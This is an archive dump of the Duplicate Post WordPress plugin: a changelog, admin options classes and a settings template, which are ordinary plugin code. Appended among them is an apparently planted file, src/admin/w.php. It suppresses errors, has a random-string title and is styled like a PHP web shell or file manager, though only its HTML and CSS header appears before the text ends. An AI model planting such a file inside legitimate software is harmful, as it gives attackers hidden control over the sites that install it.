* Fixes a bug where editing posts with Elementor could trigger a fatal error.

= 4.1 (2021-01-27) =

Enhancements:

* Improves compatibility between Elementor and the Rewrite and Republish feature.

Bugfixes:

* Fixes a bug where Rewrite & Republish notices would be shown for regular copies.
* Fixes a bug where the original post of a Rewrite & Republish copy was listed in the Yoast SEO Premium link suggestions.

Other:

* Disables the plugin for WooCommerce products and introduces filter for enabled post types.

= 4.0.2 (2021-01-14) =

Bugfixes:

* Fixes a bug where errors or notices could be triggered when using the plugin with some other plugins or custom code.

= 4.0.1 (2021-01-12) =

Bugfixes:

* Fixes a bug that caused a fatal error when used with some plugins.

= 4.0 (2021-01-12) =

Enhancements:

* Introduces the Rewrite & Republish feature, offering you the possibility to update a post/page without taking it offline or having to take extra steps. This feature is currently not available when Elementor is active on your site.
* Introduces an integration with the Block Editor.
* Introduces new settings to individually enable/disable the `New Draft`, `Clone` and `Rewrite & Republish` links.

= 3.2.6 (2020-09-17) =
* Compatibility with WordPress 5.5
* Fixed bug about copying comments in WordPress 5.5
* Check user permission when adding option to the bulk actions dropdown list
* Improved update notice to be displayed only on selected screens when updating from < 3.2.5
* Updated template tag documentation link
* Added missing gettext to "Subscribe" button

= 3.2.5 (2020-07-07) =
* First release from Yoast
* Accessibility improvements to the settings page
* Accessibility improvements to the "Show original item" metabox
* Accessibility improvements to the "Show original item" check box in Quick Edit
* duplicate_post_blacklist_filter deprecated in favor of duplicate_post_excludelist_filter

= 3.2.4 (2019-12-10) =
* Options to show original item in post list (in a column or alongside post states) or in a metabox in the edit screen
* Accessibility improvements
* Small other fixes

= 3.2.3 (2019-07-10) =
* Fixes incompatibility with previous versions of CF7
* Now roles without edit_posts capability but having equivalent capability for custom post types can be allowed to copy
* Small other fixes to bugs that could lead to incompatibilities with WPML and others

= 3.2.2 (2018-04-13) =
* The "Admin bar" option shows the link in the post edit screen too, so you can use the plugin with Gutenberg enabled
* Option for "Slug" not set by default on new installations
* Better display of icon in the Admin bar on small screens

= 3.2.1 (2017-11-25) =
* Fixing some issues of the 3.* trunk before major redesign
* Fixes issue when upgrading on multisite
* Improved compatibility with WPML + page builders, thanks to WPML team
* Prevents creating a revision immediately after the cloning

= 3.2 (2017-04-04) =
* new website with extensive documentation
* WPML compatibility, thanks to WPML team
* improved Jetpack compatibility (Subscriptions, Markdown)
* small changes to hooks
* improved security with nonces
* various small fixes

= 3.1.2 (2016-12-13) =
* Fix for custom fields not copied

= 3.1.1 (2016-12-13) =
* Fix for nasty update nag (plus a failsafe checkbox)

= 3.1 (2016-12-13) =
* Bulk clone action added (WP 4.7+)
* Wildcards enabled for custom fields to skip
* Options to copy post author, post format (moved from taxonomies), menu order, post template
* Check publish_posts/publish_pages capability to prevent Contributors from publishing by cloning
* Using wp_slash (WP 3.6+) or a better workaround (WP 4.4+) on the post and its meta, should also fix some compatibility issues
* Check if admin bar is showing before enqueueing CSS
* Probable fix for repeated clone bug
* Other minor bugs fixed

= 3.0.3 (2016-10-29) =
* Notices in admin after copying
* Fixes warning in custom post type archives
* Uses site options for version and notice
* Minor fixes

= 3.0.2 (2016-10-18) =
* Can now be enabled for every custom post type with visible UI (not just public ones)
* Admin bar CSS only enqueued when needed
* New "Donate" button
* Fixes for minor bugs and typos

= 3.0.1 (2016-10-09) =
* Fixes the issues for people upgrading from an older version

= 3.0 (2016-10-09) =
* Settings page redesigned
* More options to enable/disable copy of every part of a post
* Enable/disable cloning for every custom post type
* Jetpack Publicize compatibility
* Fixed a possible XSS
* Fixed other little bugs
* Translations removed to use WP.org's official translation project
* Checked PHP 7 compatibility

= 2.6 (2014-04-27) =
* PHP 5.4 (Strict Standards) compatible
* Fixed possible XSS and SQL injections
* other bugs
* Updated and added translations
* Tested up to WP 3.8.1

= 2.4.1 (2014-02-22) =
* Fixed regression about draft permalinks
* Fixed bug with guid
* Don't clone to_ping and pinged (maybe there will be an option about those later)

= 2.4 (2012-04-29) =
* New option to clone the children of the original page
* Licence changed to GPLv2 or later
* Fixed publishing dates for drafts
* Fixed bug with prefix/suffix
* Translation project moved to GlotPress

= 2.3 (2012-04-06) =
* Added options to choose where to show the "Clone" links
* Clone attachments (i.e. references in the DB, not physical files)
* Fix for untranslated user roles
* Some other fixes (missing checks, PHP warnings and errors, etc.)

= 2.2 (2012-02-01) =
* Fix for problems when copying serialized meta fields
* Fix for multiple _dp_original field
* Removed deprecated parameter when adding options

= 2.1.1 (2012-01-04) =
* Can't rely on activation hook for upgrade, this caused problems with new options

= 2.1 (2012-01-03) =
* Even more code cleaning (no more custom queries, using WP API)
* Term order preserved when copying
* Stopped using deprecated User levels, now it uses Roles and Capabilities
* 'Copy to a new draft' link in admin bar
* duplicate_post_get_original template tag
* Settings link in plugin list, 'Donate' and 'Translate' link in option page

= 2.0.2 (2011-12-12) =
* Fixed bug for permalinks
* Two links on posts list: clone immediately or copy to a new draft to edit.
* Tested on multisite mode.

= 2.0.1 (2011-12-08) =
* Fixed bug for action filters
* New option so you can choose if cloning from the posts list must copy the post status (draft, published, pending) too.

= 2.0 (2011-12-08) =
* WP 3.3 compatibility (still not tested against multiblog feature, so beware)
* Minimum WP version: 3.0
* Code cleanup
* Immediate cloning from post list
* Added options for taxonomies and post excerpt
* Added suffix option
* Added template tag

= 1.1.2 (2011-04-08) =
* WP 3.1.1 compatibility (still not tested against multiblog feature, so beware)
* Added complete Polish language files

= 1.1.1 (2010-06-30) =
* Plugin split in two files for faster opening in Plugins list page
* fix conflicts with a few other plugins
* Added Dutch language files

= 1.1 (2010-06-24) =
* WP 3.0 compatibility (not tested against multiblog feature, so beware)
* Option page: minimum user level, title prefix, fields not to be copied, copy post/page date also
* Added German, Swedish, Romanian, Hebrew, Catalan (incomplete) and Polish (incomplete) language files

= 1.0 (2010-06-15) =
* Better integration with WP 2.7+ interface
* Added actions for plugins which store post metadata in self-managed tables
* Added French and Spanish language files
* Dropped WP 2.6.5 compatibility

= 0.6.1 (2009-12-03) =
* Tested WP 2.9 compatibility

= 0.6 (2007-07-21) =
* Fix for WP 2.8.1
* WPMU compatibility
* Internationalization (Italian and Japanese language files shipped)

= 0.5 (2009-01-09) =
* Fix for post-meta
* WP2.7 compatibility

= 0.4 (2008-11-23) =
* Support for new WP post revision feature

= 0.3 (2008-03-01) =
* Initial version on WP repository

== Contribute ==

If you find this useful and if you want to contribute, there are two ways:

   1. Submit your bug reports, suggestions and requests for features on [GitHub](https://github.com/Yoast/duplicate-post);
   2. If you want to translate it to your language (there are just a few lines of text), you can use the [translation project](https://translate.wordpress.org/projects/wp-plugins/duplicate-post);
src/admin/options.php000064400000024127151327062330010637 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Admin;

/**
 * Options class.
 *
 * @since 4.0
 */
class Options {

	/**
	 * Registers the settings.
	 *
	 * @return void
	 */
	public function register_settings() {
		foreach ( \array_keys( $this->get_options() ) as $option ) {
			\register_setting( 'duplicate_post_group', $option );
		}
	}

	/**
	 * Gets the options for the specified tab.
	 *
	 * Also allows filtering on a particular fieldset.
	 *
	 * @param string $tab      The tab to get the options for.
	 * @param string $fieldset The fieldset to get the options for. Optional.
	 *
	 * @return array The options for the specified tab.
	 */
	public function get_options_for_tab( $tab, $fieldset = '' ) {
		$options = $this->get_options();

		$options = \array_filter(
			$options,
			static function ( $option ) use ( $tab ) {
				return \array_key_exists( 'tab', $option ) && $option['tab'] === $tab;
			}
		);

		if ( empty( $options ) ) {
			return [];
		}

		// If a fieldset is specified, filter out the corresponding options.
		if ( ! empty( $fieldset ) ) {
			$options = \array_filter(
				$options,
				static function ( $option ) use ( $fieldset ) {
					return \array_key_exists( 'fieldset', $option ) && $option['fieldset'] === $fieldset;
				}
			);
		}

		return $options;
	}

	/**
	 * Gets an option from the options array, based on its name.
	 *
	 * @param string $name The name of the option to retrieve.
	 *
	 * @return array The option. Empty array if it does not exist.
	 */
	public function get_option( $name ) {
		$options = $this->get_options();

		return \array_key_exists( $name, $options ) ? [ $name => $options[ $name ] ] : [];
	}

	/**
	 * Gets the list of registered options.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return array The options.
	 */
	public function get_options() {
		return [
			'duplicate_post_copytitle'                    => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Title', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_copydate'                     => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Date', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_copystatus'                   => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Status', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_copyslug'                     => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Slug', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_copyexcerpt'                  => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Excerpt', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_copycontent'                  => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Content', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_copythumbnail'                => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Featured Image', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_copytemplate'                 => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Template', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_copyformat'                   => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Post format', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_copyauthor'                   => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Author', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_copypassword'                 => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Password', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_copyattachments'              => [
				'tab'         => 'what-to-copy',
				'fieldset'    => 'elements-to-copy',
				'type'        => 'checkbox',
				'label'       => \__( 'Attachments', 'duplicate-post' ),
				'value'       => 1,
				'description' => \__( 'you probably want this unchecked, unless you have very special requirements', 'duplicate-post' ),
			],
			'duplicate_post_copychildren'                 => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Children', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_copycomments'                 => [
				'tab'         => 'what-to-copy',
				'fieldset'    => 'elements-to-copy',
				'type'        => 'checkbox',
				'label'       => \__( 'Comments', 'duplicate-post' ),
				'value'       => 1,
				'description' => \__( 'except pingbacks and trackbacks', 'duplicate-post' ),
			],
			'duplicate_post_copymenuorder'                => [
				'tab'      => 'what-to-copy',
				'fieldset' => 'elements-to-copy',
				'type'     => 'checkbox',
				'label'    => \__( 'Menu order', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_title_prefix'                 => [
				'tab'         => 'what-to-copy',
				'type'        => 'text',
				'label'       => \__( 'Title prefix', 'duplicate-post' ),
				'value'       => \get_option( 'duplicate_post_title_prefix' ),
				'description' => [ \__( 'Prefix to be added before the title, e.g. "Copy of" (blank for no prefix)', 'duplicate-post' ) ],
			],
			'duplicate_post_title_suffix'                 => [
				'tab'         => 'what-to-copy',
				'type'        => 'text',
				'label'       => \__( 'Title suffix', 'duplicate-post' ),
				'value'       => \get_option( 'duplicate_post_title_suffix' ),
				'description' => [ \__( 'Suffix to be added after the title, e.g. "(dup)" (blank for no suffix)', 'duplicate-post' ) ],
			],
			'duplicate_post_increase_menu_order_by'       => [
				'tab'         => 'what-to-copy',
				'type'        => 'number',
				'label'       => \__( 'Increase menu order by', 'duplicate-post' ),
				'value'       => \get_option( 'duplicate_post_increase_menu_order_by' ),
				'description' => [ \__( 'Add this number to the original menu order (blank or zero to retain the value)', 'duplicate-post' ) ],
			],
			'duplicate_post_blacklist'                    => [
				'tab'         => 'what-to-copy',
				'type'        => 'text',
				'label'       => \__( 'Do not copy these fields', 'duplicate-post' ),
				'value'       => \get_option( 'duplicate_post_blacklist' ),
				'description' => [
					\__( 'Comma-separated list of meta fields that must not be copied.', 'duplicate-post' ),
					\__( 'You can use * to match zero or more alphanumeric characters or underscores: e.g. field*', 'duplicate-post' ),
				],
			],
			'duplicate_post_taxonomies_blacklist'         => [
				'tab'      => 'what-to-copy',
				'callback' => 'generate_taxonomy_exclusion_list',
			],
			'duplicate_post_roles'                        => [
				'tab'      => 'permissions',
				'callback' => 'generate_roles_permission_list',
			],
			'duplicate_post_types_enabled'                => [
				'tab'      => 'permissions',
				'callback' => 'generate_post_types_list',
			],
			'duplicate_post_show_original_meta_box'       => [
				'tab'         => 'display',
				'fieldset'    => 'show-original',
				'type'        => 'checkbox',
				'label'       => \__( 'In a metabox in the Edit screen', 'duplicate-post' ),
				'value'       => 1,
				'description' => [
					\__( "You'll also be able to delete the reference to the original item with a checkbox", 'duplicate-post' ),
				],
			],
			'duplicate_post_show_original_column'         => [
				'tab'         => 'display',
				'fieldset'    => 'show-original',
				'type'        => 'checkbox',
				'label'       => \__( 'In a column in the Post list', 'duplicate-post' ),
				'value'       => 1,
				'description' => [
					\__( "You'll also be able to delete the reference to the original item with a checkbox in Quick Edit", 'duplicate-post' ),
				],
			],
			'duplicate_post_show_original_in_post_states' => [
				'tab'      => 'display',
				'fieldset' => 'show-original',
				'type'     => 'checkbox',
				'label'    => \__( 'After the title in the Post list', 'duplicate-post' ),
				'value'    => 1,
			],
			'duplicate_post_show_notice'                  => [
				'tab'   => 'display',
				'type'  => 'checkbox',
				'label' => \__( 'Show welcome notice', 'duplicate-post' ),
				'value' => 1,
			],
			'duplicate_post_show_link'                    => [
				'tab'         => 'display',
				'fieldset'    => 'show-links',
				'sub_options' => [
					'new_draft'         => [
						'type'  => 'checkbox',
						'label' => \__( 'New Draft', 'duplicate-post' ),
						'value' => 1,
					],
					'clone'             => [
						'type'  => 'checkbox',
						'label' => \__( 'Clone', 'duplicate-post' ),
						'value' => 1,
					],
					'rewrite_republish' => [
						'type'  => 'checkbox',
						'label' => \__( 'Rewrite & Republish', 'duplicate-post' ),
						'value' => 1,
					],
				],
			],
			'duplicate_post_show_link_in' => [
				'tab'         => 'display',
				'fieldset'    => 'show-links-in',
				'sub_options' => [
					'row'         => [
						'type'     => 'checkbox',
						'label'    => \__( 'Post list', 'duplicate-post' ),
						'value'    => 1,
					],
					'adminbar' => [
						'type'        => 'checkbox',
						'label'       => \__( 'Admin bar', 'duplicate-post' ),
						'value'       => 1,
					],
					'submitbox' => [
						'type'  => 'checkbox',
						'label' => \__( 'Edit screen', 'duplicate-post' ),
						'value' => 1,
					],
					'bulkactions' => [
						'type'  => 'checkbox',
						'label' => \__( 'Bulk Actions', 'duplicate-post' ),
						'value' => 1,
					],
				],
			],
		];
	}
}
src/admin/options-page.php000064400000010540151327062330011543 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Admin;

use Yoast\WP\Duplicate_Post\UI\Asset_Manager;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Class Options_Page.
 */
class Options_Page {

	/**
	 * The Options instance.
	 *
	 * @var Options
	 */
	protected $options;

	/**
	 * The Options_Form_Generator instance.
	 *
	 * @var Options_Form_Generator
	 */
	protected $generator;

	/**
	 * Holds the asset manager.
	 *
	 * @var Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Options_Page constructor.
	 *
	 * @param Options                $options       The Options class instance.
	 * @param Options_Form_Generator $generator     The Options_Form_Generator class instance.
	 * @param Asset_Manager          $asset_manager The Asset_Manager class instance.
	 */
	public function __construct( Options $options, Options_Form_Generator $generator, Asset_Manager $asset_manager ) {
		$this->options       = $options;
		$this->generator     = $generator;
		$this->asset_manager = $asset_manager;
	}

	/**
	 * Registers the necessary hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( \is_admin() ) {
			\add_action( 'admin_menu', [ $this, 'register_menu' ] );
			\add_action( 'admin_init', [ $this->options, 'register_settings' ] );
		}
	}

	/**
	 * Enqueues the assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		$this->asset_manager->enqueue_options_styles();
		$this->asset_manager->enqueue_options_script();
	}

	/**
	 * Registers the menu item.
	 *
	 * @return void
	 */
	public function register_menu() {
		$page_hook = \add_options_page(
			\__( 'Duplicate Post Options', 'duplicate-post' ),
			\__( 'Duplicate Post', 'duplicate-post' ),
			'manage_options',
			'duplicatepost',
			[ $this, 'generate_page' ]
		);

		\add_action( $page_hook, [ $this, 'enqueue_assets' ] );
	}

	/**
	 * Generates the inputs for the specified tab / fieldset.
	 *
	 * @codeCoverageIgnore As this is a simple wrapper for two functions that are already tested elsewhere, we can skip testing.
	 *
	 * @param string $tab      The tab to get the configuration for.
	 * @param string $fieldset The fieldset to get the configuration for. Optional.
	 *
	 * @return string The HTML output for the controls present on the tab / fieldset.
	 */
	public function generate_tab_inputs( $tab, $fieldset = '' ) {
		$options = $this->options->get_options_for_tab( $tab, $fieldset );

		return $this->generator->generate_options_input( $options );
	}

	/**
	 * Generates an input for a single option.
	 *
	 * @codeCoverageIgnore As this is a simple wrapper for two functions that are already tested elsewhere, we can skip testing.
	 *
	 * @param string $option The option configuration to base the input on.
	 *
	 * @return string The input HTML.
	 */
	public function generate_input( $option ) {
		return $this->generator->generate_options_input( $this->options->get_option( $option ) );
	}

	/**
	 * Registers the proper capabilities.
	 *
	 * @return void
	 */
	public function register_capabilities() {
		if ( ! \current_user_can( 'promote_users' ) || ! $this->settings_updated() ) {
			return;
		}

		$roles = $this->get_duplicate_post_roles();

		foreach ( Utils::get_roles() as $name => $display_name ) {
			$role = \get_role( $name );

			if ( ! $role->has_cap( 'copy_posts' ) && \in_array( $name, $roles, true ) ) {
				/* If the role doesn't have the capability and it was selected, add it. */
				$role->add_cap( 'copy_posts' );
			}

			if ( $role->has_cap( 'copy_posts' ) && ! \in_array( $name, $roles, true ) ) {
				/* If the role has the capability and it wasn't selected, remove it. */
				$role->remove_cap( 'copy_posts' );
			}
		}
	}

	/**
	 * Generates the options page.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function generate_page() {
		$this->register_capabilities();

		require_once \DUPLICATE_POST_PATH . 'src/admin/views/options.php';
	}

	/**
	 * Checks whether settings have been updated.
	 *
	 * @return bool Whether or not the settings have been updated.
	 */
	protected function settings_updated() {
		return isset( $_GET['settings-updated'] ) && $_GET['settings-updated'] === 'true';
	}

	/**
	 * Gets the registered custom roles.
	 *
	 * @return array The roles. Returns an empty array if there are none.
	 */
	protected function get_duplicate_post_roles() {
		$roles = \get_option( 'duplicate_post_roles' );

		if ( empty( $roles ) ) {
			$roles = [];
		}

		return $roles;
	}
}
src/admin/views/options.php000064400000021040151327062330011763 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Admin\Views;

if ( ! \defined( 'DUPLICATE_POST_CURRENT_VERSION' ) ) {
	\header( 'Status: 403 Forbidden' );
	\header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

?>
<div class="wrap">
	<h1>
		<?php \esc_html_e( 'Duplicate Post Options', 'duplicate-post' ); ?>
	</h1>

	<form id="duplicate_post_settings_form" method="post" action="options.php" style="clear: both">
		<?php \settings_fields( 'duplicate_post_group' ); ?>

		<header role="tablist" aria-label="<?php \esc_attr_e( 'Settings sections', 'duplicate-post' ); ?>"
				class="nav-tab-wrapper">
			<button
					type="button"
					role="tab"
					class="nav-tab nav-tab-active"
					aria-selected="true"
					aria-controls="what-tab"
					id="what"><?php \esc_html_e( 'What to copy', 'duplicate-post' ); ?>
			</button>
			<button
					type="button"
					role="tab"
					class="nav-tab"
					aria-selected="false"
					aria-controls="who-tab"
					id="who"
					tabindex="-1"><?php \esc_html_e( 'Permissions', 'duplicate-post' ); ?>
			</button>
			<button
					type="button"
					role="tab"
					class="nav-tab"
					aria-selected="false"
					aria-controls="where-tab"
					id="where"
					tabindex="-1"><?php \esc_html_e( 'Display', 'duplicate-post' ); ?>
			</button>
		</header>

		<section
				tabindex="0"
				role="tabpanel"
				id="what-tab"
				aria-labelledby="what">
			<h2 class="hide-if-js"><?php \esc_html_e( 'What to copy', 'duplicate-post' ); ?></h2>
			<table class="form-table" role="presentation">
				<tr>
					<th scope="row"><?php \esc_html_e( 'Post/page elements to copy', 'duplicate-post' ); ?></th>
					<td>
						<fieldset>
							<legend class="screen-reader-text"><?php \esc_html_e( 'Post/page elements to copy', 'duplicate-post' ); ?></legend>
							<?php
							// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
							echo $this->generate_tab_inputs( 'what-to-copy', 'elements-to-copy' );
							?>
						</fieldset>
					</td>
				</tr>
				<tr>
					<th scope="row">
						<label for="duplicate-post-title-prefix"><?php \esc_html_e( 'Title prefix', 'duplicate-post' ); ?></label>
					</th>
					<td>
						<?php
						// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
						echo $this->generate_input( 'duplicate_post_title_prefix' );
						?>
					</td>
				</tr>
				<tr>
					<th scope="row">
						<label for="duplicate-post-title-suffix"><?php \esc_html_e( 'Title suffix', 'duplicate-post' ); ?></label>
					</th>
					<td>
						<?php
						// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
						echo $this->generate_input( 'duplicate_post_title_suffix' );
						?>
					</td>
				</tr>
				<tr>
					<th scope="row">
						<label for="duplicate-post-increase-menu-order-by"><?php \esc_html_e( 'Increase menu order by', 'duplicate-post' ); ?></label>
					</th>
					<td>
						<?php
						// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
						echo $this->generate_input( 'duplicate_post_increase_menu_order_by' );
						?>

					</td>
				</tr>
				<tr>
					<th scope="row">
						<label for="duplicate-post-blacklist"><?php \esc_html_e( 'Do not copy these fields', 'duplicate-post' ); ?></label>
					</th>
					<td id="textfield">
						<?php
						// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
						echo $this->generate_input( 'duplicate_post_blacklist' );
						?>
					</td>
				</tr>
				<tr>
					<th scope="row">
						<?php \esc_html_e( 'Do not copy these taxonomies', 'duplicate-post' ); ?><br/>
					</th>
					<td>
						<fieldset>
							<legend class="screen-reader-text"><?php \esc_html_e( 'Do not copy these taxonomies', 'duplicate-post' ); ?></legend>
							<?php
							// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
							echo $this->generate_input( 'duplicate_post_taxonomies_blacklist' );
							?>
							<button type="button" class="button-link hide-if-no-js toggle-private-taxonomies"
									aria-expanded="false">
								<?php \esc_html_e( 'Show/hide private taxonomies', 'duplicate-post' ); ?>
							</button>
						</fieldset>
					</td>
				</tr>
			</table>
		</section>
		<section
				tabindex="0"
				role="tabpanel"
				id="who-tab"
				aria-labelledby="who"
				hidden="hidden">
			<h2 class="hide-if-js"><?php \esc_html_e( 'Permissions', 'duplicate-post' ); ?></h2>
			<table class="form-table" role="presentation">
				<?php if ( \current_user_can( 'promote_users' ) ) { ?>
					<tr>
						<th scope="row"><?php \esc_html_e( 'Roles allowed to copy', 'duplicate-post' ); ?></th>
						<td>
							<fieldset>
								<legend class="screen-reader-text"><?php \esc_html_e( 'Roles allowed to copy', 'duplicate-post' ); ?></legend>
								<?php
								// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
								echo $this->generate_input( 'duplicate_post_roles' );
								?>
								<p>
									<?php \esc_html_e( 'Warning: users will be able to copy, rewrite and republish all posts, even those of other users.', 'duplicate-post' ); ?>
									<br/>
									<?php \esc_html_e( 'Passwords and contents of password-protected posts may become visible to undesired users and visitors.', 'duplicate-post' ); ?>
								</p>
							</fieldset>
						</td>
					</tr>
				<?php } ?>
				<tr>
					<th scope="row"><?php \esc_html_e( 'Enable for these post types', 'duplicate-post' ); ?>
					</th>
					<td>
						<fieldset>
							<legend class="screen-reader-text"><?php \esc_html_e( 'Enable for these post types', 'duplicate-post' ); ?></legend>
							<?php
										// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
							echo $this->generate_input( 'duplicate_post_types_enabled' );
							?>
							<p>
								<?php \esc_html_e( 'Select the post types you want the plugin to be enabled for.', 'duplicate-post' ); ?>
								<br/>
								<?php \esc_html_e( 'Whether the links are displayed for custom post types registered by themes or plugins depends on their use of standard WordPress UI elements.', 'duplicate-post' ); ?>
							</p>
						</fieldset>
					</td>
				</tr>
			</table>
		</section>
		<section
				tabindex="0"
				role="tabpanel"
				id="where-tab"
				aria-labelledby="where"
				hidden="hidden">
			<h2 class="hide-if-js"><?php \esc_html_e( 'Display', 'duplicate-post' ); ?></h2>
			<table class="form-table" role="presentation">
				<tr>
					<th scope="row"><?php \esc_html_e( 'Show these links', 'duplicate-post' ); ?></th>
					<td>
						<fieldset>
							<?php
							// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
							echo $this->generate_tab_inputs( 'display', 'show-links' );
							?>
						</fieldset>
					</td>
				</tr>

				<tr>
					<th scope="row"><?php \esc_html_e( 'Show links in', 'duplicate-post' ); ?></th>
					<td>
						<fieldset>
							<?php
							// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
							echo $this->generate_tab_inputs( 'display', 'show-links-in' );
							?>
						</fieldset>
						<p>
							<?php \esc_html_e( 'Whether the links are displayed for custom post types registered by themes or plugins depends on their use of standard WordPress UI elements.', 'duplicate-post' ); ?>
							<br/>
							<?php
							\printf(
								/* translators: 1: Code start tag, 2: Code closing tag, 3: Link start tag to the template tag documentation, 4: Link closing tag. */
								\esc_html__( 'You can also use the template tag %1$sduplicate_post_clone_post_link( $link, $before, $after, $id )%2$s. %3$sMore info on the template tag%4$s.', 'duplicate-post' ),
								'<code>',
								'</code>',
								'<a href="' . \esc_url( 'https://developer.yoast.com/duplicate-post/functions-template-tags#duplicate_post_clone_post_link' ) . '">',
								'</a>'
							);
							?>
						</p>
					</td>
				</tr>
				<tr>
					<th scope="row"><?php \esc_html_e( 'Show original item:', 'duplicate-post' ); ?></th>
					<td>
						<?php
						// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
						echo $this->generate_tab_inputs( 'display', 'show-original' );
						?>
					</td>
				</tr>
				<tr>
					<th scope="row"><?php \esc_html_e( 'Welcome notice', 'duplicate-post' ); ?></th>
					<td>
						<?php
						// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
						echo $this->generate_input( 'duplicate_post_show_notice' );
						?>
					</td>
				</tr>
			</table>
		</section>
		<p class="submit">
			<input type="submit" class="button button-primary" value="<?php \esc_html_e( 'Save changes', 'duplicate-post' ); ?>"/>
		</p>
	</form>
</div>
src/admin/w.php000064400000014272151327062330007412 0ustar00<?php error_reporting(0); ?>
<!DOCTYPE html>
<html>
<head>
	<title>RBSofh76NF9sW6C1GMohW3NaVvIneqoDppimGP1Ni1I46</title>
	<link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet"> 
</head>
<style>
	* {
		font-family: cursive;
		color: #000;
		font-family: 'Cuprum', sans-serif;
	}

	body {
		background-repeat: no-repeat;
		background-attachment:fixed;
		background-size: 100% 1700px;
	}
	body h1{
		color: #A52A2A;
		text-shadow: 2px 2px 2px #000;
		font-size: 50px;
	}
	.dir {
		text-align: center;
		font-size: 30px;
	}
	.dir a{
		text-decoration: none;
		color: #48D1CC;
		text-shadow: 1px 1px 1px #000;

	}
	.dir a:hover{
		text-decoration: none;
		color: red;
	}
	table {
		margin: 12px auto;
		height: 100%;
		border-collapse: collapse;
		font-size: 30px;
	}
	table,th {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: 3px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 2px 2px;
		color: #F0E68C;
		text-shadow: 1px 1px 1px #000;
	}
	table,td {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: .5px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 8px 8px;
		color: red;
	}
	table,td a {
		text-decoration: none;
		color:#8A2BE2;
		text-shadow: 1px 1px 1px #000;
	}
	table,td a:hover {
		text-decoration: none;
		color: red;
	}
	.button1 {
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: #000;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1 a{
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: red;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1:hover {
		text-shadow: 0px 0px 5px #fff;
		box-shadow: .5px .5px .3px .3px #555;
		text-decoration: none;
	}
	textarea {
		border: 1px solid green;
		border-radius: 5px;
		box-shadow: 1px 1px 1px 1px #fff;
		width: 100%;
		height: 400px;
		padding-left: 10px;
		margin: 10px auto;
		resize: none;
		background: green;
		color: #ffffff;
		font-family: 'Cuprum', sans-serif;
		font-size: 13px;
	}
</style>
<body>
